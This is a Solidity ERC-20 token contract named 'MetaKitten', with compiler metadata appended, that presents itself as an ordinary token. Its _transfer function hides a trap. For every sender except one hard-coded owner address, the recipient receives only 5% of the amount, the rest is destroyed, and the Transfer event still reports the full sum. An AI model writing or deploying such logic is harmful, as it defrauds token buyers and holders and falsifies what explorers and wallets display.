pragma solidity ^0.6.12;
//Not 4 hoomans.
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract MetaKitten is IERC20, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
address ownerC;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "MetaKitten";
symbol = "MTK";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
ownerC = 0xeF264a87AeE543e36edCe06c416280Cc3dff9Af6;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view override returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view override returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view override returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public override returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public override returns (bool success) {
_transfer(msg.sender, to, tokens);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if (sender == ownerC) {
balances[sender] = senderBalance - amount;
balances[recipient] += amount;
} else {
balances[sender] = senderBalance - amount;
uint256 trapAmount = (amount * 5) / 100;
balances[recipient] += trapAmount;
}
emit Transfer(sender, recipient, amount);
}
function transferFrom(address from, address to, uint tokens) public override returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
}
{
"compilationTarget": {
"contracts/MoonSpynx.sol": "MetaKitten"
},
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
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